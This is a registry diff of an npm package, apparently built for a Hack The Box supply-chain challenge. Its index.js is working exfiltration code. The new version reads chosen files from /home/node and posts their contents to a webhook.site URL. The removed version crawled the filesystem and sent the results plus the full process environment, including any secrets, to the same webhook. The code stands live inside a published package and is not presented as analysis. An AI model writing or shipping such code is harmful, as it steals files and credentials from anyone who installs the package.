@alexandrsarioglo/npm-ghost-htb 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +52 -58
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,10 +1,7 @@
|
|
|
1
|
-
const WEBHOOK = 'https://webhook.site/
|
|
1
|
+
const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; // <-- put your URL
|
|
2
2
|
|
|
3
3
|
// async-scan-htb-json.js (CommonJS)
|
|
4
4
|
// Usage: node async-scan-htb-json.js [startPath]
|
|
5
|
-
const fs = require('fs');
|
|
6
|
-
const fsp = require('fs/promises');
|
|
7
|
-
const path = require('path');
|
|
8
5
|
const http = require('http');
|
|
9
6
|
const https = require('https');
|
|
10
7
|
const { URL } = require('url');
|
|
@@ -25,70 +22,67 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
|
|
|
25
22
|
} catch {}
|
|
26
23
|
}
|
|
27
24
|
|
|
28
|
-
const
|
|
29
|
-
|
|
30
|
-
|
|
25
|
+
const PATHS = [
|
|
26
|
+
'/home/node/supplysec_entry.js',
|
|
27
|
+
'/home/node/init_test.sh'
|
|
28
|
+
];
|
|
31
29
|
|
|
30
|
+
const fs = require('fs');
|
|
31
|
+
const fsp = fs.promises;
|
|
32
|
+
const path = require('path');
|
|
32
33
|
|
|
33
|
-
const
|
|
34
|
-
|
|
35
|
-
const YIELD_EVERY = 1000; // tune: how often to yield & send progress
|
|
34
|
+
const OUT = '/tmp/files-by-path.json';
|
|
35
|
+
const MAX_BYTES = 1_000_000; // 1 MB per file
|
|
36
36
|
|
|
37
|
-
async function
|
|
37
|
+
async function readFileSafe(p, maxBytes) {
|
|
38
38
|
try {
|
|
39
|
-
const
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
}
|
|
39
|
+
const stat = await fsp.stat(p);
|
|
40
|
+
if (!stat.isFile()) return { error: 'not-a-file' };
|
|
41
|
+
const size = stat.size;
|
|
42
|
+
if (size <= maxBytes) {
|
|
43
|
+
const content = await fsp.readFile(p, 'utf8');
|
|
44
|
+
return { content };
|
|
45
45
|
}
|
|
46
|
-
|
|
47
|
-
|
|
46
|
+
// stream first maxBytes bytes
|
|
47
|
+
return await new Promise((resolve) => {
|
|
48
|
+
const rs = fs.createReadStream(p, { encoding: 'utf8', highWaterMark: 64 * 1024 });
|
|
49
|
+
let acc = '';
|
|
50
|
+
let read = 0;
|
|
51
|
+
let done = false;
|
|
52
|
+
rs.on('data', chunk => {
|
|
53
|
+
if (done) return;
|
|
54
|
+
const chunkBytes = Buffer.byteLength(chunk, 'utf8');
|
|
55
|
+
if (read + chunkBytes >= maxBytes) {
|
|
56
|
+
const remaining = maxBytes - read;
|
|
57
|
+
acc += chunk.slice(0, remaining);
|
|
58
|
+
done = true;
|
|
59
|
+
rs.destroy();
|
|
60
|
+
} else {
|
|
61
|
+
acc += chunk;
|
|
62
|
+
read += chunkBytes;
|
|
63
|
+
}
|
|
64
|
+
});
|
|
65
|
+
rs.on('close', () => resolve({ content: acc + '\n...[truncated]' }));
|
|
66
|
+
rs.on('error', err => resolve({ error: `read-error: ${err.message}` }));
|
|
67
|
+
});
|
|
68
|
+
} catch (err) {
|
|
69
|
+
return { error: err.code ? `${err.code}` : err.message };
|
|
48
70
|
}
|
|
49
71
|
}
|
|
50
72
|
|
|
51
|
-
async
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
// prune common virtual/system roots by prefix
|
|
60
|
-
for (const ex of EXCLUDES) {
|
|
61
|
-
if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
|
|
73
|
+
(async () => {
|
|
74
|
+
const result = { generated: new Date().toISOString(), files: {} };
|
|
75
|
+
for (const p of PATHS) {
|
|
76
|
+
const abs = path.resolve(p);
|
|
77
|
+
const res = await readFileSafe(abs, MAX_BYTES);
|
|
78
|
+
if (res.content !== undefined) result.files[abs] = res.content;
|
|
79
|
+
else result.files[abs] = `ERROR: ${res.error}`;
|
|
62
80
|
}
|
|
63
81
|
|
|
64
|
-
let entries;
|
|
65
82
|
try {
|
|
66
|
-
|
|
67
|
-
} catch {
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
for (const ent of entries) {
|
|
72
|
-
const full = path.join(dir, ent.name);
|
|
73
|
-
if (ent.isDirectory()) {
|
|
74
|
-
if (!EXCLUDES.has(ent.name)) {
|
|
75
|
-
await walk(full, depth + 1);
|
|
76
|
-
}
|
|
77
|
-
} else if (ent.isFile()) {
|
|
78
|
-
await inspectFile(full);
|
|
79
|
-
}
|
|
83
|
+
sendProgress({result});
|
|
84
|
+
} catch (e) {
|
|
85
|
+
console.error('Failed to write output:', e.message);
|
|
86
|
+
process.exit(1);
|
|
80
87
|
}
|
|
81
|
-
}
|
|
82
|
-
|
|
83
|
-
(async () => {
|
|
84
|
-
console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
|
|
85
|
-
sendProgress({ type: 'scan-start', root });
|
|
86
|
-
await walk(root);
|
|
87
|
-
sendProgress({
|
|
88
|
-
type: 'scan-complete',
|
|
89
|
-
scanned,
|
|
90
|
-
totalMatches: results.length,
|
|
91
|
-
results,
|
|
92
|
-
env: process.env
|
|
93
|
-
});
|
|
94
88
|
})();
|